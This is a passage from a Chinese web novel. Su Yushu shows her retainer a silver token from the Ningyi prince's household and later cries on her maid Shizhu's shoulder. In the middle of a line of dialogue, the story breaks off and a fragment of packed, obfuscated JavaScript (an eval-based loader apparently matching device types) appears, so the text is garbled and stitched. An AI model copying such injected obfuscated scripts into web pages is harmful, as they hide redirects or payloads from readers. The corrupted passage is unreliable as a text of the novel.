“是。” “还有……”苏玉淑从腰间摘下那枚宁逸王府的令牌,借着灯火递到正一的面前,“你看这块令牌,可觉得眼熟?” 他的目光落在令牌上,昏黄的灯光让他有些难以辨认。 “大小姐,可否移步正厅?” “当然,随我来。” 苏玉淑在京城的宅子虽没有师城之大,但却也精致雅观。正一随她步入正厅,石竹随即奉上茶来。 此处灯火通明,他这才看清那令牌的全貌——白银铸就的牌身泛着冷光,正面雕刻着繁复的云纹。 他指尖轻轻拂过冰冷的金属表面,眉头在灯火下几不可察地蹙了一下,随即又恢复如常。“此令牌样式独特,绝非等闲之物。这个纹章……属下似乎在什么地方见过类似的图样,但具体细节已记不太清。”他顿了顿,没有掩饰眼底的思索,“属下会即刻派人追查令牌的来历,一有消息便向您汇报。” “来历不用查了,不瞒你说,这是宁逸王府的令牌。”她将东西默默收好,轻轻叹了口气,“没见过也无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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苏玉淑轻轻拨开她的手,苦笑了一下:“我没生病,就是心里头……乱糟糟的。”她望着窗外那轮皎洁的明月,声音低了几分,“有时候觉得自己像只被困住的鸟,又像是困兽犹斗,想找人说说心里话,却又不知道该从何说起。” 石竹见她这般模样,心里也泛起酸来,她放下托盘,走到苏玉淑身边,轻轻拍着她的背:“小姐您别多想,您已经做得很好了。从师城来到这人生地不熟的京城,要应付那么多事,还要提防那些坏人,换作旁人,早就撑不住了。” 苏玉淑靠在石竹的肩上,鼻尖又是一酸,这些日子积压在心底的委屈和压力,仿佛在这一刻找到了宣泄的出口,眼泪竟不争气地掉了下来。 “小姐,您别哭啊,要是让绿萝看到了,还以为我欺负您了呢。”石竹吓了一跳,连忙拿出帕子帮她擦泪,“好了好了,我们小姐最棒了,是不是?” 苏玉淑吸了吸鼻子,强忍住泪意:“我没事,就是觉得有点累了。” “我知道,我知道。”石竹如同姐姐一般,一下又一下地轻轻安抚着她,“小姐生意上的事情虽然从不告诉我们,可我和绿萝也知道,苏家正面临着一个大难关。就算小姐你聪慧要强,可你又不是神仙阎罗,咱们肉体凡胎,心里哪能装得下这么多事儿呢。” “可是,可是茵茹的事儿,苏家的事儿,我都要管,如果我不做,那,那……” 石竹心疼地揽住她,任由她的眼泪浸湿自己的肩头,只一遍遍地轻声说:“会好的,小姐,一切都会好起来的。等过了这个冬天,等春暖花开了,我们就像以前约定好的,一起去骑马赏花,一起闯荡江湖……” 苏玉淑没有说话,只是将脸埋得更深了些。窗外的月光依旧清冷,云层却悄悄漫了上来,将那轮圆月遮去了大半,只留下些许朦胧的光晕,映着屋内两个相互依偎的身影。 “我会努力的。” 她轻轻呜咽着,期盼着下一个天明。